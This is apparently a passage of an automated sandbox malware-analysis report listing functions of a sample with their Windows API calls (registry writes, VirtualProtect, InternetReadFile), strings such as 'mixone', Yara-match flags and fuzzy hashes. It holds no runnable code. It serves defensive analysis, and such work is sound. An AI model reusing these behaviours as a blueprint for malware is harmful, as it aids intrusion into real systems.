MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 00401642
Concurrency::cancel_current_task.LIBCPMT ref: 00401757

Strings

string too long, xrefs: 004015D0

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 2123813255-2556327735
Opcode ID: 45e29b8e1708196e84a22f49fa6b5ed49eeee2daabbb9bebb5bfeb9110f82948
Instruction ID: 8b29ff92f67febe7d184f40cd986ab90276924f3587203b15f4be4e0e60d2281
Opcode Fuzzy Hash: 45e29b8e1708196e84a22f49fa6b5ed49eeee2daabbb9bebb5bfeb9110f82948
Instruction Fuzzy Hash: 5E4127B1A00300ABD720AF759C8575BB7B8EF48354F24063AF91AE73D1E775AD0487A9

Function 004058D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122registrysleepCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

mixone, xrefs: 00406219

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateOpenSleepValue
String ID: mixone
API String ID: 4111408922-3123478411
Opcode ID: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction ID: 36deb0a2def4af7d69c3889f60f670a394a8a5da25757ff3a02b89eea185ed5b
Opcode Fuzzy Hash: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction Fuzzy Hash: F3418571210108AFEB08DF58DC95BEE7B65EF08300F908229F955AB5D1D778E9848F58

Function 00410580 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,3031BDFB,0040280B,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105B5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004105C7
FreeLibrary.KERNEL32(00000000,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105E9

Strings

CorExitProcess, xrefs: 004105BF
mscoree.dll, xrefs: 004105AE

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction ID: f4dd53f2cc94282f557b0741292325b7031a84366b21a1c3c136dd1e19965a8c
Opcode Fuzzy Hash: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction Fuzzy Hash: F501A271A44625FBDB128F80DC05BEEBBB9FB04B51F004536F811A22A0DBB8A944CB58

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

mscoree.dll, xrefs: 10005FB8
CorExitProcess, xrefs: 10005FCA

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 04D14410 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D14495
__alloca_probe_16.LIBCMT ref: 04D1455E
__freea.LIBCMT ref: 04D145C5
__freea.LIBCMT ref: 04D145D8
__freea.LIBCMT ref: 04D145E5

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction ID: ec9159dd719152ee56e081e5dbcf39efff09a47483e4cec4d898f1dfc61a800f
Opcode Fuzzy Hash: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction Fuzzy Hash: DC51C172700246BFFB219F60AC88EBB7AA9FF44754B150129FE06E7160EA70ED50C670

Function 00415010 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00415095
__alloca_probe_16.LIBCMT ref: 0041515E
__freea.LIBCMT ref: 004151C5

Part of subcall function 00413C79: RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

__freea.LIBCMT ref: 004151D8
__freea.LIBCMT ref: 004151E5

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction ID: def92c4ecd74f4627ee81fabb5ad5435351d3551a42f570b1979e48308b83863
Opcode Fuzzy Hash: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction Fuzzy Hash: 1A51B372A00646FFDB225FA1CC41FFB3AA9EF84754B25002FFD04D6251EA39CD918668

Function 04B52C87 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B52D2F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B52D44
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B52D52
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B52D6D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B52D8C

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction ID: c672c41f61911b1122e435cbc337cb08610a312794d798e82e88b96d659db82a
Opcode Fuzzy Hash: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction Fuzzy Hash: 0A311435B01104AFEB149F58DC41FAAB7B8EF48300F4541E9EE05EB262DB31AD16CB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 0040CA97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx), ref: 0040CAA4
GetLastError.KERNEL32(?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx,00000000,?,0040C836), ref: 0040CAAE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0040CAD6

Strings

api-ms-, xrefs: 0040CABB

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction ID: aef67c255cc06d75e4f2c7ed4f9f6bc06eb467b970858842cb7b754112db4c8a
Opcode Fuzzy Hash: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction Fuzzy Hash: 12E01230380308F6EF105F61ED46B5A3F569B11B54F108131F90DF85E1D7B5A815998C

Function 0041968C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(3031BDFB,00000000,00000000,00000000), ref: 004196EF

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00419941
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 00419A2A

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction ID: 80e927e20e1d5b3063f5f9ef1e9119d7a86b1541eeacf5ee68ba8f7951c90f01
Opcode Fuzzy Hash: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction Fuzzy Hash: 8CD18DB5E002489FCF15CFA8C8909EEBBB5FF49314F28412AE456EB351D634AD86CB54

Function 04B698F3 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0042C014,00000000,00000000,00000000), ref: 04B69956

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 04B69BA8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B69BEE
GetLastError.KERNEL32 ref: 04B69C91

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction ID: 20fb629d2319977d8e0a90e53d90f576d992aa604d8022d50a419d1a00aad359
Opcode Fuzzy Hash: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction Fuzzy Hash: A0D17AB5E002489FDF15CFA8D880AEDBBF4FF48314F2845AAE556EB351D634A942CB50

Function 04B51BA7 Relevance: 6.3, APIs: 4, Instructions: 293networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B51C3C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B51C5F

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction ID: d78022b190d199e24fa4dfbbd05c23e3d9b28f256aab605a1b678a320fa2b53c
Opcode Fuzzy Hash: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction Fuzzy Hash: 0AC139B09002189FEB25DF68CC84BE9F7B4EF49304F1441D9E909AB2A0D775AE95CF91

Function 04D0AE64 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04D0AF2B
___AdjustPointer.LIBCMT ref: 04D0AF4E
___AdjustPointer.LIBCMT ref: 04D0AFEA

Memory Dump Source

Source File: 00000000.00000003.1920463926.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: 755a7699ecabb4809121f894f986286a0dee8b284502aa13d34702f41478052f
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: E5518CB2701706AFEB299E50D840B6ABBA4FF20714F14C52AE845873D0E771F881C7A0

Function 0040BA64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040BB2B
___AdjustPointer.LIBCMT ref: 0040BB4E
___AdjustPointer.LIBCMT ref: 0040BBEA

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: c3f9129e04d39096db86ee3dbd798fa579d010b72ca6babdac1055268f0b1971
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: F651A972600306ABEB298F11C881BAA77B4EF40714F14413FE802A76D5E739AC91CBDD

Function 04B5BCCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B5BD92
___AdjustPointer.LIBCMT ref: 04B5BDB5
___AdjustPointer.LIBCMT ref: 04B5BE51

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: d0f148aa2b80e401a00b4811aea432a4d4eefc3f6eb1a3b10e5899c9db3a88f6
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: D051C172608646AFEF299F54D841BBAF7A4EF04314F1849ADED415B2B0E731F880DB90

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 04B51837 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 04B5183C

Part of subcall function 04B59AA9: std::invalid_argument::invalid_argument.LIBCONCRT ref: 04B59AB5

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 04B51872
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 04B518A9
Concurrency::cancel_current_task.LIBCPMT ref: 04B519BE

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID:
API String ID: 2123813255-0
Opcode ID: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction ID: 6e3f2e1a642fde3a72807bcb7c352e9aa2a107c8b5806956307921275e9bfcb4
Opcode Fuzzy Hash: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction Fuzzy Hash: 1E41EBB1E00300EBE7249F689C84B5AF7F8EF45254F1006A9ED5AD72A0E771BD05C7A1

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 10008336 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2538565613.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2538552755.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538582155.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2538596220.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 004174A4 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

GetLastError.KERNEL32 ref: 00417508
__dosmaperr.LIBCMT ref: 0041750F
GetLastError.KERNEL32(?,?,?,?), ref: 00417549
__dosmaperr.LIBCMT ref: 00417550

Memory Dump Source

Source File: 00000000.00000002.2536332256.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: 408a06d1cf8366b2ae1f3811782f7cd1de2d149ac6df674c503089c6b33b154d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 2B21CD716042057FDB20AF66C880CAB7779EF44368710852AF91997751D739ED818768

Function 04B6770B Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

GetLastError.KERNEL32 ref: 04B6776F
__dosmaperr.LIBCMT ref: 04B67776
GetLastError.KERNEL32(?,?,?,?), ref: 04B677B0
__dosmaperr.LIBCMT ref: 04B677B7

Memory Dump Source

Source File: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: f4526a12b2d6cfcbdbd6154a40763b9e242f2d3e4138721b66fa84794ee8b04d
